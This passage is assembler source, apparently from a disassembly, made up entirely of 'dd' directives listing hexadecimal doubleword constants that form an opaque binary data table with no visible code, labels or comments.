18EB3510h, 0E94C0B9h, 0A371B400h, 8BC2070Ch, 32BD0078h dd 0B1C529ADh, 0A00023FEh, 0F4C3B511h, 0B249E9h, 0E6F94CE0h dd 1E29B9AFh, 1B840800h, 60BB61D8h, 0ABC0040h, 0CF6DA03Ch dd 9700815Fh, 0B5B7497Ah, 0E2185073h, 0B490F5h, 66CE6414h dd 93872A23h, 1F1A2E03h, 0F0CD573Bh, 0CF650Dh, 0F5ECD972h dd 0FCD3405Ah, 1DB1064Ch, 2009E34h, 0D7F83CCh, 0EDCB8DAh dd 6174E1A1h, 0E004DCE7h, 7A07CB6h, 9C0065F6h, 0FA3CE254h dd 751A5185h, 53C01437h, 4400B03Fh, 842E9456h, 0EE4C782Ch dd 4D4F0048h, 8F4E119Dh, 949E003Fh, 2684E6E7h, 7B04085Fh dd 0CDFD92A0h, 70B23FC0h, 0F0031EA5h, 820C026Ch, 0EA819508h dd 0C42D5FFAh, 8E00BD26h, 54FBB029h, 0EC93F3BFh, 68790042h dd 9951EB5h, 410F770Bh, 1A3D356h, 5C0226EDh, 3D1FFE8h dd 0FBA4F61Fh, 581F946Dh, 5D403D78h, 5F0C4BC7h, 46EC53h dd 6A37ABAFh, 0A4866D7Dh, 960064E6h, 0D7C02AF7h, 0B45B6E9h dd 0B5EE9B1Eh, 3FD198A1h, 0BF42410h, 7C3BB403h, 0F02C859Ch dd 3E6CF7FAh, 0A702C44Dh, 0A5BC311Ah, 615976E0h, 392D1307h dd 0DB10057Ah, 12946720h, 8124C5A9h, 0D037FA4Ch, 0D21E6E87h dd 2103637Bh, 0B8E35BB3h, 607C9B5h, 8FB65A67h, 0BF01C0BCh dd 28BEFB24h, 91E81E2Bh, 8CCC004Fh, 78D2626Ch, 5B007584h dd 0E57FCDDEh, 2B65Dh, 0BA3823BFh, 0E0B9EE40h, 3AA57E00h dd 6071B111h, 9AB303F1h, 8168E327h, 6075E6B1h, 0E004068h dd 77203188h, 3DABBBh, 6194BDE9h, 0AFAC8598h, 7F9D9000h dd 2E769272h, 96B200CBh, 7DE6866Fh, 0D800DA40h, 922CA851h dd 0E8AF0C39h, 0E790F65h, 3AC0A525h, 0DD4DF41Fh, 0DA35FD00h dd 0F18AC497h, 8C573023h, 0E0D66240h, 0E57CD128h, 195D2E30h dd 0CC4770h, 0CA815A3Bh, 2756C80Eh, 0D81CB77Ch, 0E7C0E306h dd 0EE15454Eh, 13370023h, 78082298h, 7BEAB74Ah, 910E5C00h dd 6C74BAD8h, 70AC0151h, 0E427615Fh, 1064204Ch, 90186F07h dd 38005220h, 968B4187h, 59C30028h, 0BB03B68Ah, 0F98ED407h dd 9973FCAh, 0D96F97C0h, 63F25Fh, 75F889D6h, 305A0F1Ch dd 8D221912h, 0BE875800h, 1ECE773Ch, 83519D4Eh, 0E620D982h dd 3DF600Bh, 0E58AF46h, 938920F1h, 1801AB57h, 1897EFB4h dd 473A03D1h, 67E10A6Eh, 0D906183Ah, 49A809h, 0C4BF8D50h dd 88C07D25h, 0A638BBF2h, 7323003Bh, 9AEF8E53h, 0BDA81F61h dd 67AD400Eh, 0E1498BDBh, 66785F50h, 50E41900h, 0F0FB773Fh dd 78450E4Ch, 14202AECh, 18A59FD9h, 8C510401h, 15ABD05Bh dd 7FE2048h, 28EE57BDh, 8C1DC30Ch, 0AA761901h, 497BDF77h dd 90A1B1C0h, 0D9A607BFh, 0E0590AE0h, 66F199Fh, 91C95400h dd 4BA735CEh, 83720066h, 5B67F6AAh, 0BF007184h, 779EC329h dd 3C38BDh, 4CC1BC4Bh, 4AB44182h, 992C1400h, 9B251D44h dd 0DCDD0012h, 56E040C3h, 0B000DB91h, 77FF5145h, 0E8E2EAh dd 0DA13249Ah, 73FEFC31h, 0B518D500h, 0E36283F9h, 0DB6B3E94h dd 38471D80h, 0C3EA54CBh, 7786F600h, 0B74C632h, 45FE004Dh dd 4F35CA8Fh, 600B979h, 5DA1DDB1h, 851847h, 97A3FED4h dd 8FAF320Ch, 0A26C9800h, 9D58E520h, 5507EC74h, 33F4E4D0h dd 6D7212h, 0EEA83B8Dh, 4D101A34h, 60EB0C00h, 0BC855499h dd 62E00CC2h, 3F387201h, 0A239E112h, 0E2030C40h, 198CA76h dd 0EFF39CF9h, 0F4D516B5h, 2F0A7E3Dh, 0E06813A7h, 4EF29A04h dd 9C50C8h, 0ABD6467Dh dd 80D8102Fh, 0CEC75A00h, 5666751Ah, 6F8E00B2h, 87E30390h dd 900D8C0h, 9685B171h, 78D95Dh, 931FEF60h, 0D89DD073h dd 805C00Eh, 0E1DB4C3Ah, 0BBBC0148h, 17A1F4B3h, 91B6D43Eh dd 0F19FE700h, 9EE60F7Fh, 93601709h, 505A00C7h, 0A80A22E8h dd 97DD50C7h, 13FAD990h, 74A70704h, 40687671h, 93CAD581h dd 75B852C6h, 31380210h, 4053AE43h, 1EE0D163h, 0EE5C5C4Ah dd 8C6A3F1Eh, 3822E192h, 0D3B30038h, 7DD58E8Fh, 7E002C67h dd 0F01C6387h, 60858070h, 0D3A5328Dh, 12008C27h, 0EAB17A9Ah dd 687C7495h, 5F041015h, 0B794C506h, 43D0010h, 701B54AAh dd 17006CA8h, 2564529Ah, 0C52883h, 7C348B95h, 555F923Ah dd 6D5C28C4h, 0A905CE00h, 0B00E575h, 0BBE14145h, 209463Ah dd 0DF7093DEh, 9EC08E61h, 13032966h, 0B9C2BD95h, 2A30AF58h dd 12CDC5h, 197BE74Dh, 0A88274E6h, 56589B00h, 300ED41Bh dd 2FDC015Ch, 0FCBE4749h, 0BCF9C02Eh, 5D6A1603h, 881E649Ah dd 7A2691E8h, 384E3C40h, 0BA81280h, 0CEBAF2D1h, 2DECA400h dd 4F27BCFAh, 845100E5h, 63670BF1h, 0D400CE23h, 99D29DFCh dd 0DA5A29h, 11CA0A3Eh, 0DF8ED530h, 60347400h, 0BE900EABh dd 582700C7h, 0A46C9E4h, 98004FD7h, 41844E29h, 7D563Ch dd 0A7B66AA4h, 157F2CD3h, 0D2E3E600h, 8805C10Dh, 3B0C7075h dd 0CD1E385Ah, 78655878h, 7001639Bh, 0D0D35FDBh, 0BFC8F7D4h dd 5BD03C8h, 0A75AE301h, 0B1425B90h, 380D71Eh, 4A4F0DC1h dd 0BDCC5CA6h, 20FD0379h, 0E92DE062h, 605A06F9h, 69006C49h dd 0A5AC2449h, 17B291D7h, 0E7E31Bh, 4F823813h, 0C905292h dd 0F1EDA600h, 0ADF3FDD2h, 0A3991479h, 9100EC42h, 0C9171038h dd 5F00B595h, 6DEA716Fh, 4C6E2D05h, 42009690h, 2ABA965Dh dd 210A63FFh, 0E8CA4CE7h, 1FA37E80h, 86FE8Eh, 5B29EC8Fh dd 80540255h, 6D620600h, 0DAD6A375h, 77CA0020h, 93CD2E1Dh dd 0AA3CBAB8h, 809BB95Eh, 204851A4h, 1E61D4A7h, 3979608h dd 9BA2410Eh, 821480C4h, 401C17F6h, 7BC0DD24h, 67A91ED7h dd 48C0988Bh, 410FCC9Dh, 0AFA19032h, 20B1FBC0h, 85001F84h dd 0F80E69C1h, 0FA559Dh, 538D0568h, 48240BC9h, 4134F00Eh dd 714CE0A0h, 1DB2DEh, 80D5893Ch, 8DC32E2Ah, 0A8183170h dd 5DD06E5Ch, 0CDAB007Eh, 0CE277356h, 0DE1D8EDAh, 3A80A4EDh dd 18148930h, 0AB90A0B6h, 2A740761h, 0D0206A9Bh, 7D8DDDB0h dd 474ECCA0h, 7E1A0E00h, 2D2902D3h, 282000C4h, 7A4B75C1h dd 670024C8h, 0DBC778BCh, 0FC9EAFA1h, 2479F8C0h, 7C8006h dd 0FB1845C9h, 6A00DCCAh, 50CF3ACBh, 7875C76Bh, 7CAE004Ah dd 68747633h, 0EF720BA6h, 0E093C400h, 9BC862E2h, 2DE9001Ch dd 8C159FA1h, 644DD7B0h, 40440028h, 921E059Bh, 0CE9FC5Eh dd 7F75706Ch, 2F00E268h, 847B7C50h, 3560A3h, 0DC147611h dd 0B4E5EEA4h, 0E3EDA801h, 10D003B5h, 0B0DF5031h, 0F89D64h dd 0F6CF8816h, 0C9CA25B8h, 9B0BBAE0h, 802135A2h, 819830D0h dd 0B18B3094h, 4631E9E8h, 9625FE03h, 0F8BFA08Dh, 8C76F2h dd 16A2AC91h, 828BC7A8h, 41EB590Bh, 0E3EE00D0h, 1DF1F90h dd 32E9AC79h, 2098F373h, 0F600030Ch, 8CF26DE5h, 6F89E1h dd 461609FFh, 3D98DFFDh, 0D628A52Fh, 7560009Ch, 1061C6C2h dd 94C9BD00h, 51D1125Dh, 3CF40036h, 376681B0h, 0AB3A7DA2h dd 809E3E09h, 0D39BC5CDh, 58D1D628h, 0D50023A6h, 4D914ADDh dd 0CC0319B1h, 820E5A04h, 74D1B040h, 1E8C907Fh, 30636Fh dd 3990F42Ch, 0A2012596h, 356E57DDh, 45DC92EDh, 40D10193h dd 0F64BB3D6h, 9860DC2Fh, 88A63700h, 0F48EE89Ch, 0BE1E02DDh dd 6AB485A7h, 3569AB40h, 0D222EE04h, 80C03378h, 32C5BC7Ah dd 351193AEh, 0A000025Ch, 79A380A6h, 0E93D2ECDh, 0A78900F6h dd 310BF0FDh, 0E342960Bh, 0F24020AEh, 50DC81A9h, 785ACA61h dd 237FE22h, 0FC24B5E1h, 99C2FE0Eh, 0F4064441h, 2D00DE36h dd 51B4D005h, 0F675ECh, 0B3A6B0BAh, 5BAD154Dh, 0F7830F2Eh dd 6F704E00h, 16B3F26h, 7EEE5AFEh, 0C5CDE905h, 0C4F54015h dd 0E4006A08h, 40807ACFh, 86CC10h, 0CE53DBA6h, 967555Ch dd 1EB91507h, 14002D75h, 912C839Fh, 1C6007F0h, 5CADE089h dd 2003D5EBh, 0BBD73B43h, 0C853DA57h, 608EB1B0h, 0E4626438h dd 1FFC56DDh, 86A60801h, 0EAC13609h, 1BB3AECh, 0F9993B3Ch dd 0C4F6C859h, 0B500C768h, 5E91F1FFh, 0C0860335h, 0AF569A80h dd 0A4A81D93h, 26304E92h, 80AD707Fh, 0C7DF07FEh, 41C4F170h dd 410C92C9h, 40B1AF10h, 468F981Ch, 6774407Bh, 6F2F4448h dd 839FEF18h, 0D0F2482Eh, 0B06B2A29h, 0B7A000D8h, 0C5BBA7AFh dd 9A7BA4F0h, 0BE00FDF8h, 0E7AC5E3Bh, 0B0602018h, 6970F45h dd 0FC005D98h, 62C77C40h, 0DE2E3307h, 2F99A69h, 86961C9Ah dd 7D8894Ch, 1D13C74Bh, 9D8BC106h, 6E56D077h, 0FD89960Bh dd 1554A0DCh, 5887609h, 0D201D34Dh, 310C01DFh, 809868E1h dd 96BA40C0h, 10CA7Eh, 0A66E2CFAh, 3EC39939h, 29B6E900h dd 0F580B965h, 42010052h, 35771C7Eh, 0FD0191DDh, 8E9C5F39h dd 4CC02413h, 3A540049h, 8BE1CFA2h, 5500F8F6h, 3BB0FCC4h dd 2F6286h, 51783269h, 27AD748Ah, 88C08400h, 55362D47h dd 14A0005h, 0C3736B97h, 8C0611FEh, 7936429h, 4C5E003Eh dd 4F5CA77Bh, 8B001BA4h, 0C048612h, 14D0D39h, 83DD59C7h dd 0F09A7E7Ch, 0F7C65CFh, 487DA405h, 0A4402172h, 3ADC371Ah dd 0FCE028C4h, 0F1283AD8h, 80D04E26h, 0DDC2F6Dh, 920097DAh dd 33875F9h, 7801C790h, 0D860C171h, 1692BCCh, 38805C3Eh dd 0DFA7F488h, 8D35E9EDh, 24D0289Eh, 30BF9B27h, 0F5111CC5h dd 1EC0E1C0h, 926846EFh, 0CA08C6F7h, 5200209Bh, 3A29E1CBh dd 3E0C1E4Ch, 0AD809AC2h, 5A288105h, 0D231FC15h, 309C6168h dd 48E52C70h, 637E18ACh, 11D8085Ch, 4B3E2003h, 88853871h dd 0D2467F1Ch, 65590DB8h, 10A0B1D1h, 8401F8D9h, 62B9D85Bh dd 0FE477000h, 2718E1E7h, 54E048F4h, 0A463007Dh, 202BD586h dd 0F101A1DDh, 0EF4268E6h, 88F07CE4h, 0FD6E38BEh, 4372D280h dd 5102A71Eh, 87EE1D00h, 0BF628B29h, 780EE08h, 0C93EDD0h dd 0B70A1046h, 8CB0719Bh, 0BD122F16h, 2CB4901h, 0F4610144h dd 1B5420h, 9C9EFEEDh, 0F13D9F6Eh, 3D47D358h, 0DD849DE6h dd 57ADCD40h, 463C23h, 88BD7C69h, 912B3534h, 830D0103h dd 0F85BE4B1h, 1643BD7h, 28718DC0h, 0DD927D95h, 193B3061h dd 5440FAEFh, 0EB1E9F67h, 310015ECh, 0A8BD5EB7h, 0EA789F0Ah dd 0FED550C0h, 0DAF74Eh, 6D153550h, 0F811295Eh, 0D29B2500h dd 85C3B967h, 0A0100D5h, 270E9E34h, 6F2F30F5h, 0EC83F8B3h dd 23C1F6Ah, 0D2830B5h, 1D00B61Eh, 0A8CB890Ah, 0FC7D8Bh dd 1ACE35F6h, 33E1F238h, 208AFA03h, 0FEB22F37h, 0C3750318h dd 9F53AE7Dh, 7A73490Fh, 2A6FA08Ah, 6ED0BFD9h, 0CC61703Ah dd 0D1F95176h, 859FC584h, 0E4207CE8h, 0B1599441h, 7E4422Bh dd 0FF1500CAh, 0E0FA08DEh, 0F8C12754h, 9ECCB201h, 0F2D015C3h dd 600880Ah, 2AF7FBA2h, 4130BA07h, 698019EBh, 0A07C0CCBh dd 4DFA207Eh, 0E5AF6D01h, 0A610E456h, 38338D0h, 0EE271429h dd 0FBE8F160h, 0FF07D396h, 0E727D1Ah, 42ED7B21h, 7D322EE8h dd 0B96075Fh, 607D54E2h, 0D5B394E4h, 0CD281C60h, 33039FAh dd 7F1E8352h, 83373AAh dd 981721C3h, 6774F39h, 0C2FEF131h, 75304840h, 0CDEE69B9h dd 0A57E00F5h, 1E964AAEh, 0C2EFC25h, 5900FFDFh, 9B6B062Ch dd 3071600Ah, 0AFB90E1Ch, 2FFA53E4h, 0A2830700h, 0FD05883Ch dd 60E96FD6h, 582150E8h, 0CB18CE71h, 944CAF03h, 0E1C97078h dd 0C0E630BDh, 3A8E916Ah, 94D28C0Fh, 20901C28h, 0E800779Bh dd 0C75C373Eh, 37A2F0Eh, 79410C43h, 5A188AD3h, 7C39E875h dd 1A87F8Ch, 0D69F8E65h, 0D188BE9Dh, 222187BAh, 7FA0A894h dd 3DDD97h, 2D032F71h, 0CC56D344h, 0A0403201h, 852ED0EAh dd 1726BF70h, 0EBDE466Eh, 3F95400h, 12B990Eh, 0D5AE23B7h dd 0DC6FED08h, 0FA764E26h, 5BF9AC00h, 0D6F64067h, 0F8140706h dd 8024BEF3h, 0F9AD0EFBh, 187FEC00h, 0E0225898h, 8E4009CAh dd 1680D2DEh, 7F50959Fh, 3000C3F8h, 64C45417h, 8D1D62h dd 36693526h, 32297C3Dh, 97438C00h, 0FEC420BFh, 7E7A3C12h dd 7B6F6980h, 686DF684h, 0F4C6913Fh, 0C7FF9400h, 97079E08h dd 3AFEF82Eh, 0DE07697Bh, 809B0ECEh, 7D9E68C7h, 442008D8h dd 0A85B04B1h, 3CDFA6h, 0CE4F1208h, 319F67E8h, 0B1E5B321h dd 1F001196h, 0DAB6024Ah, 26CAC0D7h, 31E051C3h, 0C798E750h dd 87FD2907h, 81209F6Ah, 0E6CBD46h, 0BEE812BAh, 33ABF361h dd 84B88DB2h, 97D491D3h, 3AB930CCh, 42283110h, 6F567503h dd 0CEAE4CBh, 8E8B3B59h, 1730CEE1h, 0F895199Ch, 3DD9DE45h dd 0E37B21E2h, 70BE5E2Dh, 62A3E800h, 0F49B85ADh, 18B64534h dd 3C691C3h, 4EC3E741h, 5EAD1427h, 0F1160C8Ch, 0D460D5A9h dd 0EED37A29h, 926A3D32h, 60C4B100h, 328CDBFh, 0B338AF00h dd 0A0184E08h, 6343B841h, 0ADECB985h, 0EA15A900h, 624651F8h dd 9483024Ch, 0B01AF03Ah, 87F9DC80h, 0E4653E5Ah, 0E044FA10h dd 0D450D579h, 8430ED22h, 8094A1F9h, 11330031h, 7F19973Dh dd 0E8037BC8h, 9E527747h, 10F05374h, 4670FA12h, 99C3EC14h dd 364AC400h, 0B2346B03h, 7640B7AEh, 2D01CAA5h, 0DF854683h dd 5440E4D0h, 1F35E086h, 683C086Ah, 7774890Ch, 0E55660h dd 1D611698h, 0D5ABB52Dh, 0F183CE2h, 8299143h, 0FD3D011Ch dd 4F50285Eh, 0A4C2282h, 7CDA209Eh, 0DF527304h, 0CB210C1Fh dd 0B060EC19h, 54597D49h, 9A85197Eh, 208828E9h, 6A48C390h dd 73B89804h, 16623802h, 673AF452h, 95B81345h, 98C1382Bh dd 0CF527931h, 22E4CE11h, 0DD311598h, 7F622C8h, 0C8D88283h dd 0B597E0FBh, 81C0B8BCh, 5D78BA44h, 0B1C444CFh, 0E7E43A45h dd 0AC9C00ABh, 7666F218h, 8009EA7Bh, 182D947h, 0B3436DACh dd 9108544Ch, 7F888004h, 49503D93h, 0BD377A00h, 8A7DDEA3h dd 9C2250D0h, 2E7088C4h, 0B148209Ah, 0B2D48428h, 0CB9300BFh dd 61252CB8h, 0B4E1BE00h, 1EB6A95Ah, 0E3730609h, 49DC8F9Eh dd 3CD0E706h, 9011CED5h, 804B00E6h, 4AC3D3A5h, 5F7FFDDEh dd 695B591Dh, 7422A4EAh, 87E70EC8h, 0A0607018h, 11845C1Ch dd 2892C37Bh, 0FB4F0F11h, 0FD60327Bh, 904CDEE9h, 0CBF69411h dd 5AA66700h, 0EA2EF5B8h, 0C0CC7902h, 85D95765h, 8040A1D0h dd 7E7156Bh, 0B69C30F9h, 5D1C0A89h, 0C817D24h, 0D5460F64h dd 70F861C2h, 24A9CC00h, 0BBFF1718h, 0A4C450DFh, 424892D5h dd 0B26F00DEh, 961BE5CBh, 0BC0E00DBh, 0EB183B0Dh, 0F34DAB8Fh dd 514780D8h, 3ECEDD2Bh, 9E40E532h, 79D91637h, 805943C6h dd 899B0F08h, 99884031h, 11D3DDF5h, 1C1B2200h, 0C99DB034h dd 983860D1h, 0D9040A23h, 69365059h, 0CFD508D1h, 3C176180h dd 0B5BC3E26h, 817431EDh, 389F7458h, 89940B11h, 20050F6h dd 893C1E22h, 0F4982952h, 0CC9250A4h, 3AB1E711h, 1A4316h dd 0E9DA023Ah, 8F00D7FDh, 0EC7191E1h, 1777DA3h, 1781688Dh dd 93691E45h, 0E83008C1h, 8DB383h, 0CDE3D488h, 0B11636D9h dd 0E261EF61h, 44E02D2Fh, 5D7300BCh, 0AD4CB69Eh, 0FB02A6E8h dd 15FA20ECh, 0EA4A208h, 0C1F610EBh, 37D7D1C0h, 1FA2FCAh dd 0AF2A3DA4h, 616726D9h, 0E49020DEh, 0F8861605h, 0A84A694Eh dd 84127C1Fh, 0CD0A1C20h, 85C63E16h, 0A4BAB783h, 0FE939EB0h dd 87516EF8h, 0F530C564h, 6B1F3240h, 0D902D267h, 9D8AE6E7h dd 30A48917h, 0E9C614h, 1D451204h, 2D9AE80Ch, 72F663Dh dd 0E78A8AAh, 0F035FA4h, 0A143CA4Bh, 72300090h, 0FA7804Ah dd 62860035h, 0C4367C0Eh, 55166A7Eh, 0A0705231h, 34B49F1h dd 0BC1A2333h, 21301C77h, 0D418B9F8h, 0F0A600BAh, 5BEB666Fh dd 0BF047F33h, 6D235CE3h, 7D3B54D0h, 15C8779Eh, 0EC503EF8h dd 44449C26h, 0A1F140E0h, 98FDCCh, 5337425Fh, 0C6BD3102h dd 80E3C9C8h, 145CC0F5h, 0AE1D4AD3h, 6201E634h, 0C7D23CC2h dd 1C1FF826h, 9C2E4F4Eh, 7C0B4348h, 31A49069h, 2CCF24CCh dd 813740B0h, 0DDF80138h, 8C7D88h, 0D05B77CDh, 2A997A86h dd 0A4C10769h, 0F057F14h, 806C8D48h, 0DE704440h, 0D0C0F6BAh dd 25078431h, 0F042D685h, 0B2DC4ECAh, 8EC4ED58h, 0B71B8023h dd 1B0BC81h, 0E798C44Fh, 508D9659h, 17B949A4h, 0DE1F1F70h dd 706035EFh, 619A0018h, 215B1603h, 3A009B2Dh, 96D366EFh dd 1676C1E3h, 30E6F0D5h, 820A7054h, 4F27020Eh, 0EB4823BDh dd 0C3A91D2Eh, 0C6293218h, 0D8D2E846h, 88303800h, 0B109E5DAh dd 58BC2C88h, 0BB01476Eh, 0F6CA43D7h, 3100B04Ah, 0FCA2360Fh dd 64890869h, 56119D4h, 0DF440F71h, 9E225C22h, 52CB4202h dd 40A7DB56h, 50997B5h, 0D66AB3FCh, 2CD4DCA2h, 8C980300h dd 5913A4F9h, 0BDA70EC3h, 0D7211CB9h, 91B310F0h, 71D330h dd 0EA395338h, 0B5F6BD81h, 5EF6200h, 0E1EE6518h, 6E69172Dh dd 9BC7340h, 2C46E2F0h, 7973300h, 0A552C94Bh, 8E372EF6h dd 29DC1118h, 3FD4ECh, 98D65886h, 208BE6h, 6FBE6D05h, 0C2346873h dd 0EB70477Bh, 0EF22A8BAh, 0FC5D3AACh, 7EE38C00h, 6C1ECED8h dd 22181B58h, 81340591h, 49797D33h, 0C0B088ACh, 27F9A816h dd 0C68500DCh, 0B959811Bh, 0BD2D3896h, 8DA17001h, 48732ED2h dd 22840BCCh, 1BF86540h, 9A19FF69h, 53A46030h, 81D83A07h dd 0DB742C85h, 5BE4703Ch, 0F7077CC8h, 0ABC09D7h, 3DE69D40h dd 0B78F3295h, 0A3125D69h, 78E16AA4h, 644B0F49h, 2178A4Fh dd 5A5281E8h, 0E9014C51h, 512DA95Fh, 1C004822h, 2FDF796Ch dd 8EFE62B8h, 900F8301h, 87C8515h, 0FB229067h, 0D4F2B302h dd 0A482B7DDh, 4F321884h, 0A264E41Bh, 8F9F1C9Ch, 0A1952C40h dd 19261EA8h, 6928D9C0h, 0E1B41097h, 4B1D01CAh, 0D534BA83h dd 6A599D39h, 0DCE55422h, 3410880Ch, 0AB3CAD01h, 6021BEE1h dd 3A565C70h, 238FB769h, 51A4A3D7h, 7C0088E0h, 7F80F0B3h dd 8ED9BE48h, 36E224A1h, 7D9EC118h, 1CA7E2C4h, 0DC66C9FAh dd 907EB51Eh, 9C08CFD3h, 179E86E2h, 0EC1839D0h, 1CC99639h dd 0C0FD00C6h, 9A811D42h, 0A902C4BBh, 8D20D831h, 0DC4C69h dd 0F2A80F6h, 280474C0h, 637CEF00h, 1D6210C3h, 0C0B154B2h dd 88E444Ch, 92DE9520h, 9E53172Ch, 444C2375h, 4D1CBEA8h dd 846CA14Ch, 0DE4FE61Fh, 0ABE025Fh, 40C4AE2Ah, 0F4CF6600h dd 1C32D4E3h, 0FB1D02DAh, 0DF5B260Ch, 995884B8h, 0B3ABD509h dd 86491C4h, 93888447h, 0E95C917Fh, 4CCC14E5h, 22BE02D2h dd 0EF38DD3Bh, 10EBA872h, 3F7786h, 3AA36CA7h, 0C279D999h dd 5E261C17h, 69A202AFh, 640FCEh, 3EF72209h, 46A06457h dd 0DFA11279h dd 500088h, 6D35812Eh, 0E6145492h, 58783C59h, 2738A038h dd 1413009Bh, 80478D64h, 15F656E9h, 9E187A28h, 1EC3125h dd 878B4464h, 26A93FF0h, 40B0F12Fh, 53457357h, 0BF589BFAh dd 87007097h, 0A92630A8h, 0C560E09h, 0B1CEA82h, 0E452B1C1h dd 0B6D60384h, 0F98ACC91h, 0B4497344h, 9814C6E1h, 0D4918484h dd 0F44B0300h, 2D2569h, 4C2A9A02h, 0E5A46C96h, 3574189Ah dd 0C07C160Bh, 0E7E83060h, 8B3B1379h, 0D5400983h, 0EB43068h dd 6F9DC626h, 0E14E0500h, 0A318DBBh, 0B22E4D47h, 24340B2Ch dd 2A8C7881h, 1CCEE28Dh, 0A0093100h, 18BED82Bh, 7801015Fh dd 0CD9A93Eh, 11D188B4h, 80B4E1h, 92B6A074h, 6405B386h dd 9E4DF46h, 7BEFE88Ch, 7CDD0790h, 62C35F1Ah, 2064B36Bh dd 14B03101h, 36F42902h, 0B9241423h, 0ADAC4048h, 4900E815h dd 31122275h, 991DC21Eh, 0A1B4A444h, 1D5CAC88h, 407EDD2Eh dd 0A25CCFDEh, 0C459B9C9h, 89C58034h, 0FE2E7B39h, 8DD000A7h dd 31D9B181h, 374BC117h, 2BACA032h, 1EC50057h, 3A89AA6Ah dd 78245556h, 22443990h, 746E3A07h, 0B7737F79h, 7347B087h dd 0BC512FBh, 0A1CC82Eh, 5F1389C0h, 5C82DBh, 74D551CEh dd 6FE78F14h, 5C063726h, 0D7CA6E1h, 5A1C20h, 9BC10A44h dd 11F4AB2Eh, 979260Eh, 0A959D8B9h, 670800F6h, 3BC373B2h dd 690FABADh, 901FE5EAh, 9E64E704h, 21E8B253h, 0D13C0916h dd 67C3BC18h, 5840964Fh, 3536045h, 0E24D01D0h, 63C3E7DDh dd 468010FFh, 10C828F5h, 1DF484CCh, 2DC6789Eh, 0F04A983Ah dd 4088F808h, 1FCE3B09h, 7014C801h, 0BE93A7BCh, 4A12E4h dd 0DC2F8128h, 965D221Ah, 0F8EFA306h, 4460062Bh, 0B8B0E7CFh dd 365C5209h, 318060DDh, 6D4C2880h, 54EC86C0h, 2DAC34h dd 4DAA5DBh, 90977037h, 107AD800h, 948C09CDh, 0E6480D44h dd 8831EACEh, 8AC58BD0h, 27746970h, 5AF56038h, 8A002871h dd 47EB15D5h, 10CEC16h, 0F34C58DAh, 0D33FC130h, 0AC17B90Dh dd 4033A981h, 0FF51A800h, 0A7C91ED3h, 0BFBDEA00h, 0F89890CCh dd 10B52073h, 182DB0B4h, 22E698h, 0D0E59759h, 86A2B94Eh dd 38809F1Eh, 24D19D92h, 8628A8Bh, 7CE92D11h, 8842F64Fh dd 8082CFACh, 0F91990CBh, 10AE0D0h, 11E708F2h, 9509D1E0h dd 0C0ACC1F9h, 0C315884Eh, 6F8B005Bh, 0B3F94655h, 7D02AA8Ch dd 3E0758D9h, 8FA8A231h, 0D8032BC1h, 0D0A2E012h, 76E85863h dd 0E61DCF77h, 333F2581h, 0A4B26908h, 20A9D207h, 4368E7ABh dd 1A4F8303h, 2265C2CEh, 0C4056A29h, 0E4249DE9h, 0D32254A2h dd 0EFA90A0Ch, 1DE9D6EBh, 80F86EA2h, 51468113h, 9F8E3AFh dd 0B8AC40B9h, 0F9686811h, 3A9211A0h, 2C4A084h, 0D502CCAh dd 0F8D2A8D9h, 335AE902h, 793C9D7Eh, 0A4CD00E4h, 5CE06938h dd 0BD24B105h, 0AC63FDC1h, 0BA710F96h, 28403385h, 30B816FBh dd 10B699CBh, 0CE6390h, 1E012D5Fh, 74CD54B8h, 4176BC00h dd 36434B3Fh, 0C4114C14h, 0C914C62Eh, 1B853080h, 1464F257h dd 7CB4ECF1h, 0E81D1F70h, 0B2904063h, 5BE03AD0h, 0F13E0B01h dd 48C72037h, 77631834h, 254288E7h, 8183F091h, 87D63ECDh dd 976BD50h, 982E8DBh, 3C02C161h, 40C6A409h, 784ED800h dd 0FDF7796Eh, 0B18315D0h, 0D4C0EC16h, 9C989DD9h, 58804093h dd 331B8B80h, 0E3030035h, 83129BACh, 405A09Fh, 5E71508Eh dd 5B3ED4C8h, 7B48324Fh, 9B908C44h, 7E9E8CA8h, 99CB9899h dd 4210C268h, 0D6011064h, 0DE7E28CFh, 0C69723h, 52011C08h dd 0B3960F03h, 0F3A6E9E6h, 70711677h, 18103009h, 1900B476h dd 3B04562Ch, 12221B88h, 16E5A1C6h, 1780CC94h, 867F8C0Bh dd 9B589170h, 39E49010h, 2810EC18h, 3916DEF1h, 60D09EE1h dd 0A63039E4h, 94D00AF4h, 44808F74h, 1B7C322Ch, 788265E4h dd 0B82E29F5h, 3C48B9EBh, 0C6009B96h, 8422DBE2h, 0F37DB5h dd 0D556ABAFh, 1E656A26h, 0BA40EC91h, 0DE5AA9h, 7EDC7CCDh dd 0C9C48F2h, 77CC9752h, 1CE8908Ah, 2E1905D4h, 40E6830Ah dd 42F8448Ch, 155C1EB1h, 2D0EC078h, 47834h, 87C0C3E6h dd 0D230A279h, 0F8B5E82Eh, 1B61450h, 3D61CE8Fh, 9199DEC6h dd 431FEC21h, 936D0E3Ch, 0BF10093h, 0AA6745EAh, 787D6A09h dd 1F8C24A2h, 0D4208424h, 34F3ECh, 7E076C36h, 395E958Dh dd 0F60BF3B2h, 0B89828D9h, 6F065721h, 5465733Bh, 0F06A2259h dd 802DD52Dh, 3F132800h, 20781F94h, 0B862C049h, 3AFF111Dh dd 0C072E409h, 230CC98h, 0E5032F5h, 60046EF6h, 5400E8A9h dd 266F386Ah, 0F30B873Eh, 1AE5A8E1h, 0EC2883F0h, 0D17C38h dd 61B3D60Ch, 0F18CCD9Ch, 1D4D239h, 0E42B86C9h, 9C7919C3h dd 0FC1CCD14h, 0C2D03FA3h, 0D500F079h, 77954676h, 79B0737Ah dd 1F409131h, 1EC417EFh, 1C642582h, 0E0484Ch, 0EBB0898Fh dd 4B3EF409h, 9E2442F6h, 0B054C579h, 0C8C0ED64h, 4D51118Ch dd 5A84F008h, 0C7A45496h, 0B531BC65h, 282885DDh, 351D0D22h dd 8C0CF28h, 0AC973FC2h, 45DA00B3h, 60A73E5Dh, 2964F025h dd 3BC41779h, 480FA042h, 96348497h, 0C2884040h, 9B17E5AFh dd 3029B36Ah, 0DFF74801h, 2D5C41E4h, 0F420EC15h, 55A2BC03h dd 0C3304B71h, 410F4058h, 5C964935h, 5A09BAC0h, 7B7B3D10h dd 820F6175h, 0A2B441A5h, 5A1AC61Ch, 0C078226Ch, 1358314Ch dd 4008DFB3h, 4E0F8B38h, 0D9009045h, 43949687h, 212F697h dd 384F4217h, 76C1A13Eh, 15342891h, 1EA40E84h, 0F78E5B5Ah dd 23DA0094h, 0AA8BF4h, 0F8D76241h, 0B00EBE5Eh, 69D09Ch dd 0D8825DDAh, 2BB2001Ch, 